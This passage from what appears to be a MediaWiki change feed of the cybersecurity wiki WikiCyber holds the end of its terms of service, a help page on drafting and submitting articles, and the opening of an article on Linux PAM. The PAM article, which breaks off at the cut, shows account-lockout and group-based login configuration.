&#039;&#039;&#039;6.1.1&#039;&#039;&#039; &#039;&#039;&#039;Promotional links are prohibited&#039;&#039;&#039; on articles, drafts, and all other pages of the Site, except as provided in Section 6.1.2. A &amp;quot;promotional link&amp;quot; includes any link to your own or any other person&#039;s website, blog, video channel, store, newsletter, or social media profile; any donation, sponsorship, or &amp;quot;buy me a coffee&amp;quot; page; and any affiliate, referral, or advertising link.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;6.1.2&#039;&#039;&#039; Promotional links are permitted &#039;&#039;&#039;only on an Author&#039;s own user profile page&#039;&#039;&#039; (the page titled &amp;quot;User:&amp;quot; followed by the Author&#039;s username). Promotional links are &#039;&#039;&#039;not&#039;&#039;&#039; permitted on articles, on drafts or sandbox pages submitted for review, on talk pages, or on any other page. An Author must remove all promotional links from a draft before submitting it for review.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;6.1.3&#039;&#039;&#039; A link that serves as a genuine source for a statement of fact, cited in accordance with the Site&#039;s sourcing policy (for example, a link to official documentation), is not a promotional link. However, the Operator&#039;s reviewers may remove any link whose primary purpose is promotional, and the Operator may remove promotional links and content at any time without notice. Repeated violations of this Section 6.1 may result in the loss of Author access under Section 7.&lt;br /&gt;
&lt;br /&gt;
=== 6.2 Reasonable File Sizes ===&lt;br /&gt;
Whenever the Site permits the upload or embedding of images or other files, an Author must keep each file reasonably sized for its purpose. For example, an image that shows only a small diagram or arrow must not be uploaded as a multi-megapixel or 4K image. An Author must resize, crop, or compress files before uploading them, and must not upload files that are larger than needed to serve their educational purpose. The Operator may set maximum file sizes and dimensions, and may resize, replace, or remove any file that is unreasonably large, without notice.&lt;br /&gt;
&lt;br /&gt;
=== 6.3 Responsible Disclosure ===&lt;br /&gt;
If you discover a security vulnerability affecting the Site, you are requested to report it promptly to the contact address in Section 13 and not to exploit it, disclose it publicly before the Operator has had a reasonable opportunity to remediate it, or access data that is not your own.&lt;br /&gt;
&lt;br /&gt;
== 7. Enforcement and Termination ==&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;7.1 Remedies.&#039;&#039;&#039; If the Operator believes, in its sole discretion, that you have violated or are likely to violate these Terms, the Operator may, at any time and without prior notice: (a) remove, edit, or restrict access to any Content; (b) suspend (temporarily or indefinitely) or permanently revoke your account or your access to the Site; (c) cooperate with law enforcement and other governmental authorities; and (d) take any other action permitted by law or in equity.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;7.2 Unlawful use.&#039;&#039;&#039; &#039;&#039;&#039;Use of the Site to gain unauthorized access to any system, to commit any crime, or for any other unlawful purpose is prohibited and may result in legal action.&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;7.3 Legal process.&#039;&#039;&#039; The Operator may disclose information about you or your use of the Site where it believes in good faith that disclosure is required by law, legal process, or governmental request, or is necessary to protect the rights, property, or safety of the Operator, the Site, or others.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;7.4 Termination by you; effect of termination.&#039;&#039;&#039; You may stop using the Site at any time. Upon suspension or termination of your access for any reason, your right to use the Site ceases immediately. Termination does not revoke, and does not entitle you to the removal of, any license granted or Contribution made under Section 2.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;7.5 No liability.&#039;&#039;&#039; The WikiCyber Parties shall have no liability to you for any action taken in good faith under this Section 7.&lt;br /&gt;
&lt;br /&gt;
== 8. Copyright Complaints ==&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;8.1 Notice of claimed infringement.&#039;&#039;&#039; The Operator respects intellectual property rights and responds to notices of alleged copyright infringement in accordance with applicable law, including Title 17, United States Code, Section 512. If you believe that Content on the Site infringes a copyright that you own or control, you may submit a written notice to the contact address in Section 13 that includes:&lt;br /&gt;
:(a) your physical or electronic signature, or that of a person authorized to act on behalf of the copyright owner;&lt;br /&gt;
:(b) identification of the copyrighted work claimed to have been infringed;&lt;br /&gt;
:(c) identification of the material claimed to be infringing, with the URL of the page on which it appears, in sufficient detail to permit the Operator to locate it;&lt;br /&gt;
:(d) your name, mailing address, telephone number, and email address;&lt;br /&gt;
:(e) a statement that you have a good-faith belief that the use of the material in the manner complained of is not authorized by the copyright owner, its agent, or the law; and&lt;br /&gt;
:(f) a statement that the information in the notice is accurate and, &#039;&#039;&#039;under penalty of perjury&#039;&#039;&#039;, that you are authorized to act on behalf of the owner of the exclusive right allegedly infringed.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;8.2 Action upon notice.&#039;&#039;&#039; Upon receipt of a notice that substantially complies with Section 8.1, the Operator may remove or disable access to the identified material and may notify the Author who submitted it.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;8.3 Counter-notification.&#039;&#039;&#039; An Author whose Content has been removed pursuant to Section 8.2 may submit a written counter-notice to the contact address in Section 13 that includes: (a) the Author&#039;s physical or electronic signature; (b) identification of the material removed and the location at which it appeared before removal; (c) a statement, &#039;&#039;&#039;under penalty of perjury&#039;&#039;&#039;, that the Author has a good-faith belief that the material was removed as a result of mistake or misidentification; and (d) the Author&#039;s name, address, and telephone number, and a statement that the Author consents to the jurisdiction of the federal district court for the judicial district in which the Author&#039;s address is located (or, if the address is outside the United States, any judicial district in which the Operator may be found) and will accept service of process from the person who submitted the original notice. Upon receipt of a compliant counter-notice, the Operator may forward it to the complaining party and may restore the material, in accordance with applicable law, unless the complaining party notifies the Operator that it has filed an action seeking a court order against the Author.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;8.4 Repeat infringers.&#039;&#039;&#039; In appropriate circumstances, the Operator will suspend or terminate the accounts of Authors who are repeat infringers of copyright.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;8.5 Misrepresentation.&#039;&#039;&#039; You may be held liable for damages, including costs and attorneys&#039; fees, if you knowingly and materially misrepresent that material is infringing or was removed by mistake or misidentification.&lt;br /&gt;
&lt;br /&gt;
== 9. Links and Third-Party Content ==&lt;br /&gt;
&lt;br /&gt;
The Site may contain links to, or reproduce content from, websites, services, and materials that are owned or operated by third parties. Such materials include links to external web pages, tools, repositories, videos, downloads (including practice images and files), and any other service mentioned on the Site (collectively, &amp;quot;&#039;&#039;&#039;Third-Party Materials&#039;&#039;&#039;&amp;quot;). The Operator does not control, create, update, monitor, endorse, or adopt any Third-Party Materials, makes no guarantee that they are accurate, complete, current, safe, or lawful, and assumes no responsibility for their content, availability, security, or privacy practices. Downloaded files in particular may contain malware or be unsuitable for your systems; you should open them only in an isolated environment. Your correspondence or dealings with, or participation in promotions of, any third party found on or through the Site are solely between you and that third party. You decide whether to access or use Third-Party Materials, you do so at your own risk, and your use is governed by the terms and policies of that third party.&lt;br /&gt;
&lt;br /&gt;
== 10. Privacy ==&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;10.1 Information collected.&#039;&#039;&#039; The Operator collects and uses limited information, such as usernames, email addresses associated with accounts, and server logs, for the purposes of operating, maintaining, and securing the Site.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;10.2 Public nature of Contributions.&#039;&#039;&#039; All Contributions that are published on the Site, including the Author&#039;s username and edit history, are public and are not confidential.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;10.3 Service providers.&#039;&#039;&#039; Some of the services that operate the Site, including hosting infrastructure, are provided by Akamai Technologies, Inc. (Linode). Server logs and other data described in Section 10.1 may be stored and processed on that provider&#039;s infrastructure.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;10.4 Supplemental Policies.&#039;&#039;&#039; Your use of the Site is also subject to the Supplemental Policies, which are incorporated into and form part of these Terms.&lt;br /&gt;
&lt;br /&gt;
== 11. Disclaimer of Warranties; Limitation of Liability ==&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;11.1 Disclaimer of warranties.&#039;&#039;&#039; THE SITE AND ALL CONTENT ARE PROVIDED &amp;quot;AS IS&amp;quot; AND &amp;quot;AS AVAILABLE,&amp;quot; WITHOUT WARRANTIES OF ANY KIND, WHETHER EXPRESS, IMPLIED, OR STATUTORY, INCLUDING ANY WARRANTIES OF ACCURACY, COMPLETENESS, TITLE, MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE, AND NON-INFRINGEMENT. THE OPERATOR DOES NOT WARRANT THAT THE SITE OR THE CONTENT WILL BE UNINTERRUPTED, TIMELY, ERROR-FREE, SECURE, OR FREE OF HARMFUL COMPONENTS.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;11.2 Exclusion of damages.&#039;&#039;&#039; TO THE MAXIMUM EXTENT PERMITTED BY APPLICABLE LAW, IN NO EVENT SHALL ANY OF THE WIKICYBER PARTIES BE LIABLE TO YOU OR TO ANY THIRD PARTY FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, CONSEQUENTIAL, EXEMPLARY, OR PUNITIVE DAMAGES, OR FOR ANY LOSS OF DATA, PROFITS, REVENUE, GOODWILL, OR SYSTEM AVAILABILITY, ARISING OUT OF OR IN CONNECTION WITH THESE TERMS, THE SITE, OR THE CONTENT, OR YOUR USE OF, OR INABILITY TO USE, THE SITE OR THE CONTENT, WHETHER BASED ON WARRANTY, CONTRACT, TORT (INCLUDING NEGLIGENCE), STATUTE, OR ANY OTHER LEGAL THEORY, AND EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGES.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;11.3 Limitation of aggregate liability.&#039;&#039;&#039; BECAUSE THE SITE IS PROVIDED FREE OF CHARGE, TO THE MAXIMUM EXTENT PERMITTED BY APPLICABLE LAW, THE TOTAL AGGREGATE LIABILITY OF THE WIKICYBER PARTIES FOR ALL CLAIMS ARISING OUT OF OR RELATING TO THESE TERMS, THE SITE, OR THE CONTENT SHALL NOT EXCEED ZERO U.S. DOLLARS (US$0.00).&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;11.4 Exceptions.&#039;&#039;&#039; Nothing in these Terms excludes or limits any liability that cannot be excluded or limited under applicable law. Some jurisdictions do not allow the exclusion of certain warranties or the limitation of certain damages, and in those jurisdictions the exclusions and limitations in this Section 11 apply only to the fullest extent permitted.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;11.5 Basis of the bargain.&#039;&#039;&#039; You acknowledge that the disclaimers and limitations in this Section 11 reflect a reasonable allocation of risk, that the Site is provided free of charge in reliance on them, and that they apply even if any limited remedy fails of its essential purpose.&lt;br /&gt;
&lt;br /&gt;
== 12. Indemnification ==&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;12.1 Indemnity.&#039;&#039;&#039; To the fullest extent permitted by applicable law, you agree to defend, indemnify, and hold harmless the WikiCyber Parties from and against any and all claims, demands, actions, liabilities, damages, losses, and expenses (including reasonable attorneys&#039; fees and costs) arising out of or relating to: (a) your breach of these Terms; (b) your violation of any law or of any right of a third party; or (c) your unauthorized or unlawful use of the Site or the Content.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;12.2 Procedure.&#039;&#039;&#039; The Operator will use reasonable efforts to notify you of any claim for which it seeks indemnification, provided that failure to do so does not relieve you of your obligations except to the extent you are materially prejudiced. The Operator may, at its option, assume the exclusive defense and control of any such claim, at your expense, and you shall cooperate with that defense and shall not settle any such claim without the Operator&#039;s prior written consent.&lt;br /&gt;
&lt;br /&gt;
== 13. Contact and Notices ==&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;13.1 Contact.&#039;&#039;&#039; Questions regarding these Terms, notices of claimed copyright infringement and counter-notices under Section 8, and reports under Section 6.3 should be directed to: &#039;&#039;&#039;admin@wikicyber.org&#039;&#039;&#039;.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;13.2 Notices to you.&#039;&#039;&#039; The Operator may provide notices to you by posting them on the Site or by sending them to the email address associated with your account, if any. Notices so given are deemed received when posted or sent.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;13.3 Electronic communications.&#039;&#039;&#039; You consent to receive communications from the Operator in electronic form and agree that electronic communications satisfy any legal requirement that such communications be in writing.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;13.4 Account and service emails; no marketing.&#039;&#039;&#039; By accepting an account, an Author agrees that the Operator may send email to the address associated with the account for purposes related to the Site, such as account and security messages, password resets, editorial review and draft-status notices, notices of changes to these Terms or the Supplemental Policies, and responses to your inquiries. The Operator does not send advertising or marketing messages and does not contact you by telephone or text message. Some categories of email (such as review notifications) may be switched off in your preferences; notices about these Terms, legal notices, and security messages may be sent regardless. You represent that you own or are authorized to use the email address you give the Operator.&lt;br /&gt;
&lt;br /&gt;
== 14. Modifications to These Terms ==&lt;br /&gt;
&lt;br /&gt;
The Operator reserves the right, in its sole discretion, to modify these Terms at any time. Modifications become effective upon posting on this page, and the &amp;quot;Last Updated&amp;quot; date above will be revised accordingly. Your continued access to or use of the Site after modifications are posted constitutes your acceptance of the modified Terms. You are responsible for reviewing these Terms periodically; prior versions are available through this page&#039;s history. No modification revokes any license granted under the License before the effective date of that modification.&lt;br /&gt;
&lt;br /&gt;
== 15. Governing Law and General Provisions ==&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;15.1 Governing law.&#039;&#039;&#039; These Terms, and any dispute arising out of or relating to them or to the Site, are governed by the laws of the State of California, United States of America, without regard to its conflict-of-laws principles.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;15.2 Jurisdiction and venue.&#039;&#039;&#039; Subject to Section 15.3, you irrevocably consent to the exclusive jurisdiction and venue of the state and federal courts located in the State of California for any such dispute, and waive any objection based on inconvenient forum.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;15.3 Equitable relief.&#039;&#039;&#039; Notwithstanding Section 15.2, the Operator may seek injunctive or other equitable relief in any court of competent jurisdiction to prevent or restrain any actual or threatened violation of these Terms or misuse of the Site.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;15.4 Severability.&#039;&#039;&#039; If any provision of these Terms is held to be invalid, illegal, or unenforceable, that provision shall be enforced to the maximum extent permissible and the remaining provisions shall continue in full force and effect.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;15.5 No waiver.&#039;&#039;&#039; The failure of the Operator to exercise or enforce any right or provision of these Terms does not constitute a waiver of that right or provision. Any waiver must be in writing and signed by the Operator to be effective.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;15.6 Entire agreement; order of precedence.&#039;&#039;&#039; These Terms, together with the Supplemental Policies and, as to Content, the License, constitute the entire agreement between you and the Operator regarding the Site and supersede all prior or contemporaneous understandings on that subject. In the event of a conflict, (a) the License governs the rights granted in Content, and (b) otherwise, these Terms prevail over the Supplemental Policies.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;15.7 Assignment.&#039;&#039;&#039; You may not assign or transfer these Terms or any rights under them without the Operator&#039;s prior written consent, and any purported assignment in violation of this Section is void. The Operator may assign these Terms, in whole or in part, without notice.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;15.8 Third-party beneficiaries.&#039;&#039;&#039; Except that the WikiCyber Parties are intended third-party beneficiaries of Sections 11 and 12, these Terms confer no rights on any person other than you and the Operator.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;15.9 Force majeure.&#039;&#039;&#039; The Operator shall not be liable for any failure or delay in performance caused by events beyond its reasonable control, including failures of internet, hosting, or power services, labor disputes, natural disasters, governmental action, or attacks on the Site.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;15.10 Digital identity and age-verification laws.&#039;&#039;&#039; The Site is operated from the United States, does not require or collect government-issued identification or biometric data, and does not perform age or identity verification. If you are located in, or are a resident or citizen of, a country or region whose laws require a website or online service to implement digital identity, government-ID, or age-verification measures in order to serve its users (for example, the United Kingdom or Australia), you agree that you will not access or use the Site or its services while those requirements apply. You are responsible for determining whether the laws of your location impose such requirements. The Operator does not implement such measures and does not accept that those laws apply to the Operator or the Site. The Operator may block or restrict access from any country or region at any time and without notice.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;15.11 Survival.&#039;&#039;&#039; Sections that by their nature should survive the termination of your access to the Site shall so survive, including Sections 2, 3.7, 3.8, 4, 5, 6, 7, 8, 9, 11, 12, 13, and 15.&lt;/div&gt;</summary>
		<author><name>AdminUser</name></author>
	</entry>
	<entry>
		<id>https://wikicyber.org/index.php?title=Help:Your_first_article&amp;diff=132</id>
		<title>Help:Your first article</title>
		<link rel="alternate" type="text/html" href="https://wikicyber.org/index.php?title=Help:Your_first_article&amp;diff=132"/>
		<updated>2026-09-18T20:05:37Z</updated>

		<summary type="html">&lt;p&gt;AdminUser: Updated &amp;quot;Dont&amp;#039;s section with new rule&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== The basics ==&lt;br /&gt;
&lt;br /&gt;
WikiCyber articles go through three stages: &#039;&#039;&#039;drafting&#039;&#039;&#039; in your personal sandbox, &#039;&#039;&#039;submission&#039;&#039;&#039; for review, and &#039;&#039;&#039;publication&#039;&#039;&#039; to the main wiki. This guide walks through all three.&lt;br /&gt;
&lt;br /&gt;
== Before you start writing ==&lt;br /&gt;
&lt;br /&gt;
=== Pick a topic you actually know or can research well ===&lt;br /&gt;
&lt;br /&gt;
The strongest WikiCyber articles come from editors who either work in the area professionally, have studied it formally, or are willing to do serious research to get the details right. Be honest with yourself about which category you&#039;re in, as it determines your sourcing obligations (see below).&lt;br /&gt;
&lt;br /&gt;
=== Check whether the article already exists ===&lt;br /&gt;
&lt;br /&gt;
Search the wiki before you start. If a related article exists, consider whether your topic is better as:&lt;br /&gt;
* A new standalone article&lt;br /&gt;
* A new section within the existing article&lt;br /&gt;
* An expansion of an existing but underdeveloped section&lt;br /&gt;
&lt;br /&gt;
Duplicate or heavily overlapping articles fragment coverage and make the wiki harder to navigate. Reviewers may ask you to merge your draft into an existing page instead of publishing separately.&lt;br /&gt;
&lt;br /&gt;
=== Gather your sources first ===&lt;br /&gt;
&lt;br /&gt;
Before writing a word, collect what you&#039;ll be citing:&lt;br /&gt;
* Official documentation (RFCs, vendor docs, NIST/OWASP publications, CVE entries)&lt;br /&gt;
* Academic papers or textbooks&lt;br /&gt;
* Reputable community sources like well-maintained GitHub repositories, established security research blogs, credible conference talks (DEF CON, Black Hat, etc.), or established YouTube channels in the field&lt;br /&gt;
&lt;br /&gt;
Skim them and take notes before drafting. Trying to find sources &#039;&#039;after&#039;&#039; writing a claim tends to produce weaker, cherry-picked citations.&lt;br /&gt;
&lt;br /&gt;
=== Does this topic belong on WikiCyber? ===&lt;br /&gt;
&lt;br /&gt;
Ask yourself:&lt;br /&gt;
* Is this a real, established topic in cybersecurity, IT, or a closely related field?&lt;br /&gt;
* Can it be covered with real depth, not just a stub definition?&lt;br /&gt;
* Is there enough legitimate source material to support it?&lt;br /&gt;
&lt;br /&gt;
If yes to all three, it&#039;s a good candidate. If you&#039;re unsure, ask an administrator!&lt;br /&gt;
&lt;br /&gt;
=== Look at similar articles ===&lt;br /&gt;
&lt;br /&gt;
Before drafting, read one or two existing WikiCyber articles on related topics. Pay attention to how they build from overview to advanced material, as this is the structure reviewers will expect from your draft too.&lt;br /&gt;
&lt;br /&gt;
== Writing your draft ==&lt;br /&gt;
&lt;br /&gt;
=== Choose an editing tool ===&lt;br /&gt;
&lt;br /&gt;
WikiCyber supports both:&lt;br /&gt;
* &#039;&#039;&#039;VisualEditor&#039;&#039;&#039;: a visual, formatted editing experience. Easier for prose-heavy sections.&lt;br /&gt;
* &#039;&#039;&#039;Source editing&#039;&#039;&#039; (wikitext): more control, and necessary for some formatting like citation templates or code blocks. Most experienced editors end up using source editing for technical articles, since it makes handling code snippets and references easier.&lt;br /&gt;
&lt;br /&gt;
You can switch between the two at any time using the tabs at the top of the edit screen.&lt;br /&gt;
&lt;br /&gt;
=== Where to start writing ===&lt;br /&gt;
&lt;br /&gt;
Draft in your personal sandbox: &amp;lt;code&amp;gt;Special:MyPage/sandbox&amp;lt;/code&amp;gt;. This is your own space to write, revise, and abandon drafts without affecting the live wiki.&lt;br /&gt;
&lt;br /&gt;
=== Structuring your content ===&lt;br /&gt;
&lt;br /&gt;
Follow WikiCyber&#039;s structure:&lt;br /&gt;
&lt;br /&gt;
# &#039;&#039;&#039;Overview&#039;&#039;&#039;: a plain-language summary. Anyone should be able to read this and understand what the topic is and why it matters.&lt;br /&gt;
# &#039;&#039;&#039;Core concepts&#039;&#039;&#039;: these are the foundational mechanics required before going deeper.&lt;br /&gt;
# &#039;&#039;&#039;Deeper mechanics&#039;&#039;&#039;: implementation details, protocol-level behavior, real configuration or code examples, attack/defense specifics. This is where WikiCyber articles should go further than a general-purpose encyclopedia.&lt;br /&gt;
# &#039;&#039;&#039;Advanced / practitioner notes&#039;&#039;&#039; (optional): nuance for someone working in the field: pitfalls, current best practices, tooling, open problems, etc.&lt;br /&gt;
&lt;br /&gt;
Use section headings (&amp;lt;code&amp;gt;== Heading ==&amp;lt;/code&amp;gt;) to mark divisions clearly.&lt;br /&gt;
&lt;br /&gt;
=== Citing sources ===&lt;br /&gt;
&lt;br /&gt;
WikiCyber has a specific sourcing policy:&lt;br /&gt;
&lt;br /&gt;
; Editors with at least an Associate&#039;s degree (or higher) in Computer Science, Cybersecurity, or a closely related field&lt;br /&gt;
: May cite their own expertise directly, without an external source, &#039;&#039;&#039;within their area of expertise&#039;&#039;&#039;. State your credential on your user page so reviewers can verify it.&lt;br /&gt;
&lt;br /&gt;
; Editors without such a credential&lt;br /&gt;
: Must cite an external source for non-trivial claims, using &amp;lt;code&amp;gt;&amp;amp;lt;ref&amp;amp;gt;&amp;lt;/code&amp;gt; tags. Acceptable sources include official documentation, academic papers, reputable security research, and credible community sources (established GitHub repos, respected YouTube channels, conference talks).&lt;br /&gt;
&lt;br /&gt;
Regardless of credential: if a claim is surprising, safety-relevant, or likely to be challenged, cite a source anyway.&lt;br /&gt;
&lt;br /&gt;
=== AI-assisted writing ===&lt;br /&gt;
&lt;br /&gt;
AI tools may be used to help draft or edit content. However, &#039;&#039;&#039;the editor remains fully responsible for accuracy&#039;&#039;&#039;, inaccuracies introduced by AI assistance are treated the same as any other editing error. Verify anything AI-generated against a real source before submitting, especially specific technical details (command syntax, version numbers, CVE identifiers, protocol behavior) where AI tools are prone to mistakes and hallucinations.&lt;br /&gt;
&lt;br /&gt;
=== Dos and don&#039;ts ===&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Do:&#039;&#039;&#039;&lt;br /&gt;
* Build from simple to advanced&lt;br /&gt;
* Cite according to the policy above&lt;br /&gt;
* Use real, working code/config examples where relevant, clearly marked as such&lt;br /&gt;
* Keep terminology consistent with how it&#039;s used elsewhere on the wiki&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Don&#039;t:&#039;&#039;&#039;&lt;br /&gt;
* Copy text from other websites or documentation verbatim&lt;br /&gt;
* Leave advanced sections uncited even if the overview section is well-sourced&lt;br /&gt;
* Submit a draft that&#039;s still an outline&lt;br /&gt;
* Add promotional links (your own website, donation or &#039;buy me a coffee&#039; pages, affiliate links). These belong only on your user profile page.&lt;br /&gt;
&lt;br /&gt;
== Publish your draft ==&lt;br /&gt;
&lt;br /&gt;
=== Pre-publication checklist ===&lt;br /&gt;
&lt;br /&gt;
Before submitting, check that your draft:&lt;br /&gt;
* Has a clear overview any reader could follow&lt;br /&gt;
* Builds logically from basic to advanced material&lt;br /&gt;
* Is properly sourced according to your citation tier&lt;br /&gt;
* Doesn&#039;t duplicate an existing article&#039;s coverage&lt;br /&gt;
&lt;br /&gt;
=== Ask for a review ===&lt;br /&gt;
&lt;br /&gt;
Add &amp;lt;code&amp;gt;&amp;lt;nowiki&amp;gt;{{Submit}}&amp;lt;/nowiki&amp;gt;&amp;lt;/code&amp;gt; to the very top of your draft page. This will:&lt;br /&gt;
* Display a notice that the draft has been submitted for review&lt;br /&gt;
* Add the page to the review queue, where an experienced editor will find it&lt;br /&gt;
&lt;br /&gt;
A reviewer will look at your draft and either publish it to the main wiki or send it back with feedback. You can keep editing while you wait.&lt;br /&gt;
&lt;br /&gt;
=== After review ===&lt;br /&gt;
&lt;br /&gt;
If approved, your draft is moved into the main article space and becomes a normal WikiCyber page. An administrator approves a draft with the &#039;&#039;&#039;Approve draft&#039;&#039;&#039; button in its &amp;quot;submitted for review&amp;quot; notice, and you will be emailed when it is published.&lt;br /&gt;
&lt;br /&gt;
== Help is available ==&lt;br /&gt;
&lt;br /&gt;
If you get stuck at any point, reach out to an administrator via [[Special:ListUsers/sysop]].&lt;/div&gt;</summary>
		<author><name>AdminUser</name></author>
	</entry>
	<entry>
		<id>https://wikicyber.org/index.php?title=PAM_(Pluggable_Authentication_Module)&amp;diff=128</id>
		<title>PAM (Pluggable Authentication Module)</title>
		<link rel="alternate" type="text/html" href="https://wikicyber.org/index.php?title=PAM_(Pluggable_Authentication_Module)&amp;diff=128"/>
		<updated>2026-09-18T19:53:26Z</updated>

		<summary type="html">&lt;p&gt;AdminUser: AdminUser moved page Draft:PAM (Pluggable Authentication Module) to PAM (Pluggable Authentication Module) without leaving a redirect: Approved by AdminUser&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&amp;lt;!-- Migrated from https://cypat.guide/docs/linux/account_policies/pam (source: docs/linux/account_policies/pam.md) --&amp;gt;&lt;br /&gt;
&amp;lt;!-- REVIEW: source used JSX (JSX style object); layout-only divs were dropped. Compare with the original. --&amp;gt;&lt;br /&gt;
-----&lt;br /&gt;
&lt;br /&gt;
Author(s): Kirill Shore&lt;br /&gt;
&lt;br /&gt;
Last Updated: 10-02-2025&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;mw-collapsible mw-collapsed wikitable&amp;quot; style=&amp;quot;width:100%&amp;quot;&lt;br /&gt;
! Recommended Prerequisites (click to expand)&lt;br /&gt;
|-&lt;br /&gt;
|&lt;br /&gt;
&lt;br /&gt;
None&lt;br /&gt;
&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
== What is PAM? ==&lt;br /&gt;
&lt;br /&gt;
PAM stands for Pluggable Authentication Module. It&#039;s a framework that provides important ways to create authentication (and related) programs indipendently of the applications that use them. PAM may be used to handle tasks like verifying a username and password, checking biometric data, or working with external systems like Kerberos, LDAP, or 2FA. PAM systems administartors have the ability to then plug in different authentication module methods (like 2FA) without changing/rewriting applications/programs. I.e. you may switch from password authentication to security keys. Fun fact: the applications themselves don&#039;t know how authentication is performed. The only thing they do is ask pam if the user is who they claim to be.&lt;br /&gt;
&lt;br /&gt;
== Pam Basics ==&lt;br /&gt;
&lt;br /&gt;
There are several PAM services (not to be confused with modules), as an example:&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;sshd&amp;lt;/code&amp;gt;, which handles authentication for remote logins via SSH. It validates credentials like passwords, keys, MFA, etc., enforces different policies like banning the ability to login as root, or requiring 2FA. It can also prevent brute force attempts when combined with modules like pam_tally2.&lt;br /&gt;
* &amp;lt;code&amp;gt;login&amp;lt;/code&amp;gt;, it controls authentication for users who are logging in via a text console (i.e. tty). It verifies the username and password, checks if the account is locked/expired, and applies restrictions like time of day logins.&lt;br /&gt;
* &amp;lt;code&amp;gt;sudo&amp;lt;/code&amp;gt;, manages authentication when a user attempts to run commands as another user (i.e. su). It prompts the user for password before escalating privelages. It also has the ability to timeout someone who is root and force them to re-login. On many distros, su cannot be run alone to switch to root, as the root account is disabled by default (meaning its password is locked). Sudo su is instead used. Sudo checks if your user in the sudo or wheel group, asks for your password, and then runs su as root so that there is no need for a root password. Each PAM service also has its own file in &amp;lt;code&amp;gt;/etc/pam.d&amp;lt;/code&amp;gt;. These files define which modules are being user (modules are shared libraries that perform special security functions, such as user authetication, account management, session management, or password management). Some PAM modules are, but not limited to:&lt;br /&gt;
* &amp;lt;code&amp;gt;pam_unix.so&amp;lt;/code&amp;gt; (Default PAM module)&lt;br /&gt;
* &amp;lt;code&amp;gt;pam_tally2.so&amp;lt;/code&amp;gt; (Which is used to count login attempts and lock an account after a specified number of failed attempts)&lt;br /&gt;
* &amp;lt;code&amp;gt;pam_google_authenticator.so&amp;lt;/code&amp;gt; (Which provides 2FA support if you use the Google Authenticator app on a mobile device)&lt;br /&gt;
&lt;br /&gt;
== PAM Security Principles ==&lt;br /&gt;
&lt;br /&gt;
In any Cybersecurity industry, the idea of Least Privilege is important, in order to prevent users from having more power than they need. For example, a teller for FreedomBank has to process a transaction, depositing phyisical cash and adding it to the customers bank account. This employee should not, nor do they need, access to information (unless for verification purposes) such as the tiles or details of past transactions other than their amounts, investment accounts, debts or loans, etc. In this case, the teller is given the minimum privileges to do their job, and nothing more. But how can PAM be used in this case? Let&#039;s suppose that the teller logs into a banking application or a Linux shell for deposits. In &amp;lt;code&amp;gt;/etc/pam.d/deposit_app&amp;lt;/code&amp;gt;, we would configure PAM to allow teller group users or higher to authenticate:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;text&amp;quot;&amp;gt;auth    required    pam_unix.so&lt;br /&gt;
account required    pam_succeed_if.so   user    ingroup tellers&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
(Note that the above is a basic configuration that will ONLY allow tellers to login. An example of a more realistic configuration is below)&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;text&amp;quot;&amp;gt;auth    required    pam_faillock.so preauth silent  deny=5  unlock_time=600 # (this would lockout the account to prevent brute-force attacks&lt;br /&gt;
auth    required    pam_unix.so try_first_pass # (primary password authentication)&lt;br /&gt;
